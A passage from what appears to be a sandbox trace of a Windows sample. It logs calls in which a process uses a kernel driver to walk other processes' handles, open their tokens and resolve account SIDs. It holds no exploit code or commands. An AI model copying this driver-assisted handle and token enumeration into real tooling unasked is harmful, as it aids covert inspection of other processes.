ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.247] ObfDereferenceObject (Object=0xfffffa80020dca70) returned 0x1 [0114.247] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.247] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.247] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0114.247] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.247] PsAcquireProcessExitSynchronization () returned 0x0 [0114.247] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880055905d0) [0114.247] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020e51a0, HandleInformation=0x0) returned 0x0 [0114.247] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.247] PsReleaseProcessExitSynchronization () returned 0x2 [0114.247] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0114.247] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.247] ObfDereferenceObject (Object=0xfffffa80020e51a0) returned 0x1 [0114.247] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.247] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.247] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.248] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.248] PsAcquireProcessExitSynchronization () returned 0x0 [0114.248] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880055905d0) [0114.248] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.248] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.248] PsReleaseProcessExitSynchronization () returned 0x2 [0114.248] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0114.248] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.248] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.248] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.248] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.248] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa10) returned 0xc0 [0114.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.248] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020f65f0, HandleInformation=0x0) returned 0x0 [0114.248] ObOpenObjectByPointer (in: Object=0xfffffa80020f65f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.248] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x12 [0114.248] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.248] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.248] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.248] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.248] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.250] CloseHandle (hObject=0xc8) returned 1 [0114.250] CloseHandle (hObject=0xc0) returned 1 [0114.250] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.250] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.250] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.250] PsAcquireProcessExitSynchronization () returned 0x0 [0114.250] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880055905d0) [0114.250] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020f6f20, HandleInformation=0x0) returned 0x0 [0114.250] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.250] PsReleaseProcessExitSynchronization () returned 0x2 [0114.250] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0114.250] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.250] ObfDereferenceObject (Object=0xfffffa80020f6f20) returned 0x1 [0114.250] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.250] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.250] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.250] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0114.250] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.250] PsAcquireProcessExitSynchronization () returned 0x0 [0114.250] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880055905d0) [0114.250] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020f81e0, HandleInformation=0x0) returned 0x0 [0114.250] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.250] PsReleaseProcessExitSynchronization () returned 0x2 [0114.250] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0114.250] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.250] ObfDereferenceObject (Object=0xfffffa80020f81e0) returned 0x1 [0114.251] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.251] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.251] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.251] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.251] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.251] PsAcquireProcessExitSynchronization () returned 0x0 [0114.251] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880055905d0) [0114.251] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.251] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.251] PsReleaseProcessExitSynchronization () returned 0x2 [0114.251] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0114.251] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.251] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.251] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.251] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.251] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa20) returned 0xc0 [0114.251] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.251] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002104b30, HandleInformation=0x0) returned 0x0 [0114.251] ObOpenObjectByPointer (in: Object=0xfffffa8002104b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.251] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x12 [0114.251] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.251] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.251] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.251] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.251] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.253] CloseHandle (hObject=0xc8) returned 1 [0114.253] CloseHandle (hObject=0xc0) returned 1 [0114.253] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.253] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.253] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.253] PsAcquireProcessExitSynchronization () returned 0x0 [0114.253] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880055905d0) [0114.253] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80021027f0, HandleInformation=0x0) returned 0x0 [0114.253] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.253] PsReleaseProcessExitSynchronization () returned 0x2 [0114.253] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0114.253] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.253] ObfDereferenceObject (Object=0xfffffa80021027f0) returned 0x1 [0114.253] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.253] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.253] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.253] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0114.253] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.253] PsAcquireProcessExitSynchronization () returned 0x0 [0114.253] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880055905d0) [0114.254] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002106800, HandleInformation=0x0) returned 0x0 [0114.254] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.254] PsReleaseProcessExitSynchronization () returned 0x2 [0114.254] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0114.254] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.254] ObfDereferenceObject (Object=0xfffffa8002106800) returned 0x1 [0114.254] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.254] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.254] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.254] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.254] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.254] PsAcquireProcessExitSynchronization () returned 0x0 [0114.254] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880055905d0) [0114.254] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.254] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.254] PsReleaseProcessExitSynchronization () returned 0x2 [0114.254] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0114.254] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.254] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.254] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.254] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.254] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa30) returned 0xc0 [0114.254] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.254] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800210f740, HandleInformation=0x0) returned 0x0 [0114.254] ObOpenObjectByPointer (in: Object=0xfffffa800210f740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.254] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x12 [0114.254] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.254] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.254] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.255] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.255] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.256] CloseHandle (hObject=0xc8) returned 1 [0114.256] CloseHandle (hObject=0xc0) returned 1 [0114.256] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.256] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.256] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.256] PsAcquireProcessExitSynchronization () returned 0x0 [0114.256] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880055905d0) [0114.256] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800210f070, HandleInformation=0x0) returned 0x0 [0114.257] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.257] PsReleaseProcessExitSynchronization () returned 0x2 [0114.257] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0114.257] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.257] ObfDereferenceObject (Object=0xfffffa800210f070) returned 0x1 [0114.257] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.257] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.257] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.257] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0114.257] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.257] PsAcquireProcessExitSynchronization () returned 0x0 [0114.257] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880055905d0) [0114.257] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002111180, HandleInformation=0x0) returned 0x0 [0114.257] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.257] PsReleaseProcessExitSynchronization () returned 0x2 [0114.257] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0114.257] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.257] ObfDereferenceObject (Object=0xfffffa8002111180) returned 0x1 [0114.257] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.257] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.257] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.257] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.257] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.257] PsAcquireProcessExitSynchronization () returned 0x0 [0114.257] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880055905d0) [0114.257] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.257] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.257] PsReleaseProcessExitSynchronization () returned 0x2 [0114.257] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0114.257] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.258] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.258] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.258] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.258] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa40) returned 0xc0 [0114.258] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.258] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, 